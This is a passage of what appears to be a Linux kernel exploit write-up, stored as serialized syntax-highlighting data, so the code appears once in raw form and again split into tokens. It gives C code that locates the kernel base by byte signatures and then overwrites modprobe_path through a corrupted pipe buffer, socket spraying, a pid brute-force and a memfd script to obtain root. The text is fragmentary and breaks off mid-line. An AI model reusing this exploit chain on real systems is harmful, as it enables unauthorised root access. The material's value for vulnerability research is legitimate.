\"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[62109],{"type":24,"tag":156,"props":62110,"children":62111},{"__ignoreMap":7},[62112,62119,62149,62156,62164,62171,62179,62250,62312,62327,62334,62342,62410,62472,62533,62594,62656,62718,62779,62840,62901,62962,63023,63038,63045,63060,63067],{"type":24,"tag":930,"props":62113,"children":62114},{"class":932,"line":933},[62115],{"type":24,"tag":930,"props":62116,"children":62117},{"style":959},[62118],{"type":30,"value":990},{"type":24,"tag":930,"props":62120,"children":62121},{"class":932,"line":984},[62122,62127,62132,62137,62141,62145],{"type":24,"tag":930,"props":62123,"children":62124},{"style":959},[62125],{"type":30,"value":62126},"static bool is_kernel_base(",{"type":24,"tag":930,"props":62128,"children":62129},{"style":937},[62130],{"type":30,"value":62131},"unsigned",{"type":24,"tag":930,"props":62133,"children":62134},{"style":937},[62135],{"type":30,"value":62136}," char",{"type":24,"tag":930,"props":62138,"children":62139},{"style":937},[62140],{"type":30,"value":12924},{"type":24,"tag":930,"props":62142,"children":62143},{"style":1023},[62144],{"type":30,"value":33778},{"type":24,"tag":930,"props":62146,"children":62147},{"style":959},[62148],{"type":30,"value":1054},{"type":24,"tag":930,"props":62150,"children":62151},{"class":932,"line":993},[62152],{"type":24,"tag":930,"props":62153,"children":62154},{"style":959},[62155],{"type":30,"value":13987},{"type":24,"tag":930,"props":62157,"children":62158},{"class":932,"line":1057},[62159],{"type":24,"tag":930,"props":62160,"children":62161},{"style":1422},[62162],{"type":30,"value":62163},"    // thanks lau :)\n",{"type":24,"tag":930,"props":62165,"children":62166},{"class":932,"line":1066},[62167],{"type":24,"tag":930,"props":62168,"children":62169},{"emptyLinePlaceholder":16},[62170],{"type":30,"value":2412},{"type":24,"tag":930,"props":62172,"children":62173},{"class":932,"line":1075},[62174],{"type":24,"tag":930,"props":62175,"children":62176},{"style":1422},[62177],{"type":30,"value":62178},"    // get-sig kernel_runtime_1\n",{"type":24,"tag":930,"props":62180,"children":62181},{"class":932,"line":1122},[62182,62186,62190,62195,62200,62204,62209,62213,62217,62222,62226,62230,62234,62238,62242,62246],{"type":24,"tag":930,"props":62183,"children":62184},{"style":1079},[62185],{"type":30,"value":15386},{"type":24,"tag":930,"props":62187,"children":62188},{"style":959},[62189],{"type":30,"value":1087},{"type":24,"tag":930,"props":62191,"children":62192},{"style":1002},[62193],{"type":30,"value":62194},"memcmp",{"type":24,"tag":930,"props":62196,"children":62197},{"style":959},[62198],{"type":30,"value":62199},"(addr ",{"type":24,"tag":930,"props":62201,"children":62202},{"style":1158},[62203],{"type":30,"value":1400},{"type":24,"tag":930,"props":62205,"children":62206},{"style":1242},[62207],{"type":30,"value":62208}," 0x0",{"type":24,"tag":930,"props":62210,"children":62211},{"style":959},[62212],{"type":30,"value":962},{"type":24,"tag":930,"props":62214,"children":62215},{"style":1270},[62216],{"type":30,"value":23163},{"type":24,"tag":930,"props":62218,"children":62219},{"style":51463},[62220],{"type":30,"value":62221},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":930,"props":62223,"children":62224},{"style":1270},[62225],{"type":30,"value":23163},{"type":24,"tag":930,"props":62227,"children":62228},{"style":959},[62229],{"type":30,"value":962},{"type":24,"tag":930,"props":62231,"children":62232},{"style":1242},[62233],{"type":30,"value":21210},{"type":24,"tag":930,"props":62235,"children":62236},{"style":959},[62237],{"type":30,"value":5579},{"type":24,"tag":930,"props":62239,"children":62240},{"style":1158},[62241],{"type":30,"value":1239},{"type":24,"tag":930,"props":62243,"children":62244},{"style":1242},[62245],{"type":30,"value":1245},{"type":24,"tag":930,"props":62247,"children":62248},{"style":1158},[62249],{"type":30,"value":55773},{"type":24,"tag":930,"props":62251,"children":62252},{"class":932,"line":1131},[62253,62258,62262,62266,62271,62275,62279,62284,62288,62292,62296,62300,62304,62308],{"type":24,"tag":930,"props":62254,"children":62255},{"style":1002},[62256],{"type":30,"value":62257},"        memcmp",{"type":24,"tag":930,"props":62259,"children":62260},{"style":959},[62261],{"type":30,"value":62199},{"type":24,"tag":930,"props":62263,"children":62264},{"style":1158},[62265],{"type":30,"value":1400},{"type":24,"tag":930,"props":62267,"children":62268},{"style":1242},[62269],{"type":30,"value":62270}," 0x7",{"type":24,"tag":930,"props":62272,"children":62273},{"style":959},[62274],{"type":30,"value":962},{"type":24,"tag":930,"props":62276,"children":62277},{"style":1270},[62278],{"type":30,"value":23163},{"type":24,"tag":930,"props":62280,"children":62281},{"style":51463},[62282],{"type":30,"value":62283},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":930,"props":62285,"children":62286},{"style":1270},[62287],{"type":30,"value":23163},{"type":24,"tag":930,"props":62289,"children":62290},{"style":959},[62291],{"type":30,"value":962},{"type":24,"tag":930,"props":62293,"children":62294},{"style":1242},[62295],{"type":30,"value":57760},{"type":24,"tag":930,"props":62297,"children":62298},{"style":959},[62299],{"type":30,"value":5579},{"type":24,"tag":930,"props":62301,"children":62302},{"style":1158},[62303],{"type":30,"value":1239},{"type":24,"tag":930,"props":62305,"children":62306},{"style":1242},[62307],{"type":30,"value":1245},{"type":24,"tag":930,"props":62309,"children":62310},{"style":959},[62311],{"type":30,"value":1054},{"type":24,"tag":930,"props":62313,"children":62314},{"class":932,"line":1144},[62315,62319,62323],{"type":24,"tag":930,"props":62316,"children":62317},{"style":1079},[62318],{"type":30,"value":18847},{"type":24,"tag":930,"props":62320,"children":62321},{"style":937},[62322],{"type":30,"value":15576},{"type":24,"tag":930,"props":62324,"children":62325},{"style":959},[62326],{"type":30,"value":5539},{"type":24,"tag":930,"props":62328,"children":62329},{"class":932,"line":1169},[62330],{"type":24,"tag":930,"props":62331,"children":62332},{"emptyLinePlaceholder":16},[62333],{"type":30,"value":2412},{"type":24,"tag":930,"props":62335,"children":62336},{"class":932,"line":1191},[62337],{"type":24,"tag":930,"props":62338,"children":62339},{"style":1422},[62340],{"type":30,"value":62341},"    // get-sig kernel_runtime_2\n",{"type":24,"tag":930,"props":62343,"children":62344},{"class":932,"line":1223},[62345,62349,62353,62357,62361,62365,62369,62373,62377,62382,62386,62390,62394,62398,62402,62406],{"type":24,"tag":930,"props":62346,"children":62347},{"style":1079},[62348],{"type":30,"value":15386},{"type":24,"tag":930,"props":62350,"children":62351},{"style":959},[62352],{"type":30,"value":1087},{"type":24,"tag":930,"props":62354,"children":62355},{"style":1002},[62356],{"type":30,"value":62194},{"type":24,"tag":930,"props":62358,"children":62359},{"style":959},[62360],{"type":30,"value":62199},{"type":24,"tag":930,"props":62362,"children":62363},{"style":1158},[62364],{"type":30,"value":1400},{"type":24,"tag":930,"props":62366,"children":62367},{"style":1242},[62368],{"type":30,"value":62208},{"type":24,"tag":930,"props":62370,"children":62371},{"style":959},[62372],{"type":30,"value":962},{"type":24,"tag":930,"props":62374,"children":62375},{"style":1270},[62376],{"type":30,"value":23163},{"type":24,"tag":930,"props":62378,"children":62379},{"style":51463},[62380],{"type":30,"value":62381},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":930,"props":62383,"children":62384},{"style":1270},[62385],{"type":30,"value":23163},{"type":24,"tag":930,"props":62387,"children":62388},{"style":959},[62389],{"type":30,"value":962},{"type":24,"tag":930,"props":62391,"children":62392},{"style":1242},[62393],{"type":30,"value":20630},{"type":24,"tag":930,"props":62395,"children":62396},{"style":959},[62397],{"type":30,"value":5579},{"type":24,"tag":930,"props":62399,"children":62400},{"style":1158},[62401],{"type":30,"value":1239},{"type":24,"tag":930,"props":62403,"children":62404},{"style":1242},[62405],{"type":30,"value":1245},{"type":24,"tag":930,"props":62407,"children":62408},{"style":1158},[62409],{"type":30,"value":55773},{"type":24,"tag":930,"props":62411,"children":62412},{"class":932,"line":1281},[62413,62417,62421,62425,62430,62434,62438,62443,62447,62451,62456,62460,62464,62468],{"type":24,"tag":930,"props":62414,"children":62415},{"style":1002},[62416],{"type":30,"value":62257},{"type":24,"tag":930,"props":62418,"children":62419},{"style":959},[62420],{"type":30,"value":62199},{"type":24,"tag":930,"props":62422,"children":62423},{"style":1158},[62424],{"type":30,"value":1400},{"type":24,"tag":930,"props":62426,"children":62427},{"style":1242},[62428],{"type":30,"value":62429}," 0x8",{"type":24,"tag":930,"props":62431,"children":62432},{"style":959},[62433],{"type":30,"value":962},{"type":24,"tag":930,"props":62435,"children":62436},{"style":1270},[62437],{"type":30,"value":23163},{"type":24,"tag":930,"props":62439,"children":62440},{"style":51463},[62441],{"type":30,"value":62442},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":930,"props":62444,"children":62445},{"style":1270},[62446],{"type":30,"value":23163},{"type":24,"tag":930,"props":62448,"children":62449},{"style":959},[62450],{"type":30,"value":962},{"type":24,"tag":930,"props":62452,"children":62453},{"style":1242},[62454],{"type":30,"value":62455},"12",{"type":24,"tag":930,"props":62457,"children":62458},{"style":959},[62459],{"type":30,"value":5579},{"type":24,"tag":930,"props":62461,"children":62462},{"style":1158},[62463],{"type":30,"value":1239},{"type":24,"tag":930,"props":62465,"children":62466},{"style":1242},[62467],{"type":30,"value":1245},{"type":24,"tag":930,"props":62469,"children":62470},{"style":1158},[62471],{"type":30,"value":55773},{"type":24,"tag":930,"props":62473,"children":62474},{"class":932,"line":1313},[62475,62479,62483,62487,62492,62496,62500,62505,62509,62513,62517,62521,62525,62529],{"type":24,"tag":930,"props":62476,"children":62477},{"style":1002},[62478],{"type":30,"value":62257},{"type":24,"tag":930,"props":62480,"children":62481},{"style":959},[62482],{"type":30,"value":62199},{"type":24,"tag":930,"props":62484,"children":62485},{"style":1158},[62486],{"type":30,"value":1400},{"type":24,"tag":930,"props":62488,"children":62489},{"style":1242},[62490],{"type":30,"value":62491}," 0x18",{"type":24,"tag":930,"props":62493,"children":62494},{"style":959},[62495],{"type":30,"value":962},{"type":24,"tag":930,"props":62497,"children":62498},{"style":1270},[62499],{"type":30,"value":23163},{"type":24,"tag":930,"props":62501,"children":62502},{"style":51463},[62503],{"type":30,"value":62504},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":930,"props":62506,"children":62507},{"style":1270},[62508],{"type":30,"value":23163},{"type":24,"tag":930,"props":62510,"children":62511},{"style":959},[62512],{"type":30,"value":962},{"type":24,"tag":930,"props":62514,"children":62515},{"style":1242},[62516],{"type":30,"value":20630},{"type":24,"tag":930,"props":62518,"children":62519},{"style":959},[62520],{"type":30,"value":5579},{"type":24,"tag":930,"props":62522,"children":62523},{"style":1158},[62524],{"type":30,"value":1239},{"type":24,"tag":930,"props":62526,"children":62527},{"style":1242},[62528],{"type":30,"value":1245},{"type":24,"tag":930,"props":62530,"children":62531},{"style":1158},[62532],{"type":30,"value":55773},{"type":24,"tag":930,"props":62534,"children":62535},{"class":932,"line":1335},[62536,62540,62544,62548,62553,62557,62561,62566,62570,62574,62578,62582,62586,62590],{"type":24,"tag":930,"props":62537,"children":62538},{"style":1002},[62539],{"type":30,"value":62257},{"type":24,"tag":930,"props":62541,"children":62542},{"style":959},[62543],{"type":30,"value":62199},{"type":24,"tag":930,"props":62545,"children":62546},{"style":1158},[62547],{"type":30,"value":1400},{"type":24,"tag":930,"props":62549,"children":62550},{"style":1242},[62551],{"type":30,"value":62552}," 0x20",{"type":24,"tag":930,"props":62554,"children":62555},{"style":959},[62556],{"type":30,"value":962},{"type":24,"tag":930,"props":62558,"children":62559},{"style":1270},[62560],{"type":30,"value":23163},{"type":24,"tag":930,"props":62562,"children":62563},{"style":51463},[62564],{"type":30,"value":62565},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":930,"props":62567,"children":62568},{"style":1270},[62569],{"type":30,"value":23163},{"type":24,"tag":930,"props":62571,"children":62572},{"style":959},[62573],{"type":30,"value":962},{"type":24,"tag":930,"props":62575,"children":62576},{"style":1242},[62577],{"type":30,"value":21521},{"type":24,"tag":930,"props":62579,"children":62580},{"style":959},[62581],{"type":30,"value":5579},{"type":24,"tag":930,"props":62583,"children":62584},{"style":1158},[62585],{"type":30,"value":1239},{"type":24,"tag":930,"props":62587,"children":62588},{"style":1242},[62589],{"type":30,"value":1245},{"type":24,"tag":930,"props":62591,"children":62592},{"style":1158},[62593],{"type":30,"value":55773},{"type":24,"tag":930,"props":62595,"children":62596},{"class":932,"line":1376},[62597,62601,62605,62609,62614,62618,62622,62627,62631,62635,62640,62644,62648,62652],{"type":24,"tag":930,"props":62598,"children":62599},{"style":1002},[62600],{"type":30,"value":62257},{"type":24,"tag":930,"props":62602,"children":62603},{"style":959},[62604],{"type":30,"value":62199},{"type":24,"tag":930,"props":62606,"children":62607},{"style":1158},[62608],{"type":30,"value":1400},{"type":24,"tag":930,"props":62610,"children":62611},{"style":1242},[62612],{"type":30,"value":62613}," 0x2a",{"type":24,"tag":930,"props":62615,"children":62616},{"style":959},[62617],{"type":30,"value":962},{"type":24,"tag":930,"props":62619,"children":62620},{"style":1270},[62621],{"type":30,"value":23163},{"type":24,"tag":930,"props":62623,"children":62624},{"style":51463},[62625],{"type":30,"value":62626},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":930,"props":62628,"children":62629},{"style":1270},[62630],{"type":30,"value":23163},{"type":24,"tag":930,"props":62632,"children":62633},{"style":959},[62634],{"type":30,"value":962},{"type":24,"tag":930,"props":62636,"children":62637},{"style":1242},[62638],{"type":30,"value":62639},"24",{"type":24,"tag":930,"props":62641,"children":62642},{"style":959},[62643],{"type":30,"value":5579},{"type":24,"tag":930,"props":62645,"children":62646},{"style":1158},[62647],{"type":30,"value":1239},{"type":24,"tag":930,"props":62649,"children":62650},{"style":1242},[62651],{"type":30,"value":1245},{"type":24,"tag":930,"props":62653,"children":62654},{"style":1158},[62655],{"type":30,"value":55773},{"type":24,"tag":930,"props":62657,"children":62658},{"class":932,"line":1418},[62659,62663,62667,62671,62676,62680,62684,62689,62693,62697,62702,62706,62710,62714],{"type":24,"tag":930,"props":62660,"children":62661},{"style":1002},[62662],{"type":30,"value":62257},{"type":24,"tag":930,"props":62664,"children":62665},{"style":959},[62666],{"type":30,"value":62199},{"type":24,"tag":930,"props":62668,"children":62669},{"style":1158},[62670],{"type":30,"value":1400},{"type":24,"tag":930,"props":62672,"children":62673},{"style":1242},[62674],{"type":30,"value":62675}," 0x45",{"type":24,"tag":930,"props":62677,"children":62678},{"style":959},[62679],{"type":30,"value":962},{"type":24,"tag":930,"props":62681,"children":62682},{"style":1270},[62683],{"type":30,"value":23163},{"type":24,"tag":930,"props":62685,"children":62686},{"style":51463},[62687],{"type":30,"value":62688},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":930,"props":62690,"children":62691},{"style":1270},[62692],{"type":30,"value":23163},{"type":24,"tag":930,"props":62694,"children":62695},{"style":959},[62696],{"type":30,"value":962},{"type":24,"tag":930,"props":62698,"children":62699},{"style":1242},[62700],{"type":30,"value":62701},"15",{"type":24,"tag":930,"props":62703,"children":62704},{"style":959},[62705],{"type":30,"value":5579},{"type":24,"tag":930,"props":62707,"children":62708},{"style":1158},[62709],{"type":30,"value":1239},{"type":24,"tag":930,"props":62711,"children":62712},{"style":1242},[62713],{"type":30,"value":1245},{"type":24,"tag":930,"props":62715,"children":62716},{"style":1158},[62717],{"type":30,"value":55773},{"type":24,"tag":930,"props":62719,"children":62720},{"class":932,"line":1438},[62721,62725,62729,62733,62738,62742,62746,62751,62755,62759,62763,62767,62771,62775],{"type":24,"tag":930,"props":62722,"children":62723},{"style":1002},[62724],{"type":30,"value":62257},{"type":24,"tag":930,"props":62726,"children":62727},{"style":959},[62728],{"type":30,"value":62199},{"type":24,"tag":930,"props":62730,"children":62731},{"style":1158},[62732],{"type":30,"value":1400},{"type":24,"tag":930,"props":62734,"children":62735},{"style":1242},[62736],{"type":30,"value":62737}," 0x55",{"type":24,"tag":930,"props":62739,"children":62740},{"style":959},[62741],{"type":30,"value":962},{"type":24,"tag":930,"props":62743,"children":62744},{"style":1270},[62745],{"type":30,"value":23163},{"type":24,"tag":930,"props":62747,"children":62748},{"style":51463},[62749],{"type":30,"value":62750},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":930,"props":62752,"children":62753},{"style":1270},[62754],{"type":30,"value":23163},{"type":24,"tag":930,"props":62756,"children":62757},{"style":959},[62758],{"type":30,"value":962},{"type":24,"tag":930,"props":62760,"children":62761},{"style":1242},[62762],{"type":30,"value":7192},{"type":24,"tag":930,"props":62764,"children":62765},{"style":959},[62766],{"type":30,"value":5579},{"type":24,"tag":930,"props":62768,"children":62769},{"style":1158},[62770],{"type":30,"value":1239},{"type":24,"tag":930,"props":62772,"children":62773},{"style":1242},[62774],{"type":30,"value":1245},{"type":24,"tag":930,"props":62776,"children":62777},{"style":1158},[62778],{"type":30,"value":55773},{"type":24,"tag":930,"props":62780,"children":62781},{"class":932,"line":1479},[62782,62786,62790,62794,62799,62803,62807,62812,62816,62820,62824,62828,62832,62836],{"type":24,"tag":930,"props":62783,"children":62784},{"style":1002},[62785],{"type":30,"value":62257},{"type":24,"tag":930,"props":62787,"children":62788},{"style":959},[62789],{"type":30,"value":62199},{"type":24,"tag":930,"props":62791,"children":62792},{"style":1158},[62793],{"type":30,"value":1400},{"type":24,"tag":930,"props":62795,"children":62796},{"style":1242},[62797],{"type":30,"value":62798}," 0x61",{"type":24,"tag":930,"props":62800,"children":62801},{"style":959},[62802],{"type":30,"value":962},{"type":24,"tag":930,"props":62804,"children":62805},{"style":1270},[62806],{"type":30,"value":23163},{"type":24,"tag":930,"props":62808,"children":62809},{"style":51463},[62810],{"type":30,"value":62811},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":930,"props":62813,"children":62814},{"style":1270},[62815],{"type":30,"value":23163},{"type":24,"tag":930,"props":62817,"children":62818},{"style":959},[62819],{"type":30,"value":962},{"type":24,"tag":930,"props":62821,"children":62822},{"style":1242},[62823],{"type":30,"value":21210},{"type":24,"tag":930,"props":62825,"children":62826},{"style":959},[62827],{"type":30,"value":5579},{"type":24,"tag":930,"props":62829,"children":62830},{"style":1158},[62831],{"type":30,"value":1239},{"type":24,"tag":930,"props":62833,"children":62834},{"style":1242},[62835],{"type":30,"value":1245},{"type":24,"tag":930,"props":62837,"children":62838},{"style":1158},[62839],{"type":30,"value":55773},{"type":24,"tag":930,"props":62841,"children":62842},{"class":932,"line":1506},[62843,62847,62851,62855,62860,62864,62868,62873,62877,62881,62885,62889,62893,62897],{"type":24,"tag":930,"props":62844,"children":62845},{"style":1002},[62846],{"type":30,"value":62257},{"type":24,"tag":930,"props":62848,"children":62849},{"style":959},[62850],{"type":30,"value":62199},{"type":24,"tag":930,"props":62852,"children":62853},{"style":1158},[62854],{"type":30,"value":1400},{"type":24,"tag":930,"props":62856,"children":62857},{"style":1242},[62858],{"type":30,"value":62859}," 0x6a",{"type":24,"tag":930,"props":62861,"children":62862},{"style":959},[62863],{"type":30,"value":962},{"type":24,"tag":930,"props":62865,"children":62866},{"style":1270},[62867],{"type":30,"value":23163},{"type":24,"tag":930,"props":62869,"children":62870},{"style":51463},[62871],{"type":30,"value":62872},"\\x48\\xc7\\xc6",{"type":24,"tag":930,"props":62874,"children":62875},{"style":1270},[62876],{"type":30,"value":23163},{"type":24,"tag":930,"props":62878,"children":62879},{"style":959},[62880],{"type":30,"value":962},{"type":24,"tag":930,"props":62882,"children":62883},{"style":1242},[62884],{"type":30,"value":20397},{"type":24,"tag":930,"props":62886,"children":62887},{"style":959},[62888],{"type":30,"value":5579},{"type":24,"tag":930,"props":62890,"children":62891},{"style":1158},[62892],{"type":30,"value":1239},{"type":24,"tag":930,"props":62894,"children":62895},{"style":1242},[62896],{"type":30,"value":1245},{"type":24,"tag":930,"props":62898,"children":62899},{"style":1158},[62900],{"type":30,"value":55773},{"type":24,"tag":930,"props":62902,"children":62903},{"class":932,"line":1525},[62904,62908,62912,62916,62921,62925,62929,62934,62938,62942,62946,62950,62954,62958],{"type":24,"tag":930,"props":62905,"children":62906},{"style":1002},[62907],{"type":30,"value":62257},{"type":24,"tag":930,"props":62909,"children":62910},{"style":959},[62911],{"type":30,"value":62199},{"type":24,"tag":930,"props":62913,"children":62914},{"style":1158},[62915],{"type":30,"value":1400},{"type":24,"tag":930,"props":62917,"children":62918},{"style":1242},[62919],{"type":30,"value":62920}," 0x71",{"type":24,"tag":930,"props":62922,"children":62923},{"style":959},[62924],{"type":30,"value":962},{"type":24,"tag":930,"props":62926,"children":62927},{"style":1270},[62928],{"type":30,"value":23163},{"type":24,"tag":930,"props":62930,"children":62931},{"style":51463},[62932],{"type":30,"value":62933},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":930,"props":62935,"children":62936},{"style":1270},[62937],{"type":30,"value":23163},{"type":24,"tag":930,"props":62939,"children":62940},{"style":959},[62941],{"type":30,"value":962},{"type":24,"tag":930,"props":62943,"children":62944},{"style":1242},[62945],{"type":30,"value":21521},{"type":24,"tag":930,"props":62947,"children":62948},{"style":959},[62949],{"type":30,"value":5579},{"type":24,"tag":930,"props":62951,"children":62952},{"style":1158},[62953],{"type":30,"value":1239},{"type":24,"tag":930,"props":62955,"children":62956},{"style":1242},[62957],{"type":30,"value":1245},{"type":24,"tag":930,"props":62959,"children":62960},{"style":1158},[62961],{"type":30,"value":55773},{"type":24,"tag":930,"props":62963,"children":62964},{"class":932,"line":1569},[62965,62969,62973,62977,62982,62986,62990,62995,62999,63003,63007,63011,63015,63019],{"type":24,"tag":930,"props":62966,"children":62967},{"style":1002},[62968],{"type":30,"value":62257},{"type":24,"tag":930,"props":62970,"children":62971},{"style":959},[62972],{"type":30,"value":62199},{"type":24,"tag":930,"props":62974,"children":62975},{"style":1158},[62976],{"type":30,"value":1400},{"type":24,"tag":930,"props":62978,"children":62979},{"style":1242},[62980],{"type":30,"value":62981}," 0x78",{"type":24,"tag":930,"props":62983,"children":62984},{"style":959},[62985],{"type":30,"value":962},{"type":24,"tag":930,"props":62987,"children":62988},{"style":1270},[62989],{"type":30,"value":23163},{"type":24,"tag":930,"props":62991,"children":62992},{"style":51463},[62993],{"type":30,"value":62994},"\\xff\\xe0",{"type":24,"tag":930,"props":62996,"children":62997},{"style":1270},[62998],{"type":30,"value":23163},{"type":24,"tag":930,"props":63000,"children":63001},{"style":959},[63002],{"type":30,"value":962},{"type":24,"tag":930,"props":63004,"children":63005},{"style":1242},[63006],{"type":30,"value":6244},{"type":24,"tag":930,"props":63008,"children":63009},{"style":959},[63010],{"type":30,"value":5579},{"type":24,"tag":930,"props":63012,"children":63013},{"style":1158},[63014],{"type":30,"value":1239},{"type":24,"tag":930,"props":63016,"children":63017},{"style":1242},[63018],{"type":30,"value":1245},{"type":24,"tag":930,"props":63020,"children":63021},{"style":959},[63022],{"type":30,"value":1054},{"type":24,"tag":930,"props":63024,"children":63025},{"class":932,"line":1592},[63026,63030,63034],{"type":24,"tag":930,"props":63027,"children":63028},{"style":1079},[63029],{"type":30,"value":18847},{"type":24,"tag":930,"props":63031,"children":63032},{"style":937},[63033],{"type":30,"value":15576},{"type":24,"tag":930,"props":63035,"children":63036},{"style":959},[63037],{"type":30,"value":5539},{"type":24,"tag":930,"props":63039,"children":63040},{"class":932,"line":1610},[63041],{"type":24,"tag":930,"props":63042,"children":63043},{"emptyLinePlaceholder":16},[63044],{"type":30,"value":2412},{"type":24,"tag":930,"props":63046,"children":63047},{"class":932,"line":1628},[63048,63052,63056],{"type":24,"tag":930,"props":63049,"children":63050},{"style":1079},[63051],{"type":30,"value":20090},{"type":24,"tag":930,"props":63053,"children":63054},{"style":937},[63055],{"type":30,"value":12167},{"type":24,"tag":930,"props":63057,"children":63058},{"style":959},[63059],{"type":30,"value":5539},{"type":24,"tag":930,"props":63061,"children":63062},{"class":932,"line":1637},[63063],{"type":24,"tag":930,"props":63064,"children":63065},{"style":959},[63066],{"type":30,"value":2528},{"type":24,"tag":930,"props":63068,"children":63069},{"class":932,"line":1646},[63070],{"type":24,"tag":930,"props":63071,"children":63072},{"style":959},[63073],{"type":30,"value":990},{"type":24,"tag":151,"props":63075,"children":63077},{"id":63076},"overwriting-modprobe_path",[63078,63080],{"type":30,"value":63079},"Overwriting ",{"type":24,"tag":156,"props":63081,"children":63083},{"className":63082},[],[63084],{"type":30,"value":61467},{"type":24,"tag":33,"props":63086,"children":63087},{},[63088,63090,63096],{"type":30,"value":63089},"Finding the ",{"type":24,"tag":156,"props":63091,"children":63093},{"className":63092},[],[63094],{"type":30,"value":63095},"/sbin/modprobe",{"type":30,"value":63097}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":33,"props":63099,"children":63100},{},[63101,63103,63109],{"type":30,"value":63102},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":156,"props":63104,"children":63106},{"className":63105},[],[63107],{"type":30,"value":63108},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":30,"value":63110}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":920,"props":63112,"children":63114},{"className":32201,"code":63113,"language":32203,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[63115],{"type":24,"tag":156,"props":63116,"children":63117},{"__ignoreMap":7},[63118,63125,63147,63155,63162,63170,63178,63186,63194,63201,63209,63216,63254,63265,63272,63279,63286,63313,63344,63351,63373,63386,63393,63450,63457,63485,63492,63499,63520,63527,63548,63559,63566,63573,63594,63601,63629,63642,63649,63656,63705,63712,63780,63787,63808,63828,63835,63842,63849,63869],{"type":24,"tag":930,"props":63119,"children":63120},{"class":932,"line":933},[63121],{"type":24,"tag":930,"props":63122,"children":63123},{"style":959},[63124],{"type":30,"value":990},{"type":24,"tag":930,"props":63126,"children":63127},{"class":932,"line":984},[63128,63133,63138,63143],{"type":24,"tag":930,"props":63129,"children":63130},{"style":959},[63131],{"type":30,"value":63132},"    puts(\"[*] ",{"type":24,"tag":930,"props":63134,"children":63135},{"style":943},[63136],{"type":30,"value":63137},"overwrite",{"type":24,"tag":930,"props":63139,"children":63140},{"style":943},[63141],{"type":30,"value":63142}," modprobe_path",{"type":24,"tag":930,"props":63144,"children":63145},{"style":1270},[63146],{"type":30,"value":59381},{"type":24,"tag":930,"props":63148,"children":63149},{"class":932,"line":993},[63150],{"type":24,"tag":930,"props":63151,"children":63152},{"style":1270},[63153],{"type":30,"value":63154},"    for (int i = 0; i \u003C 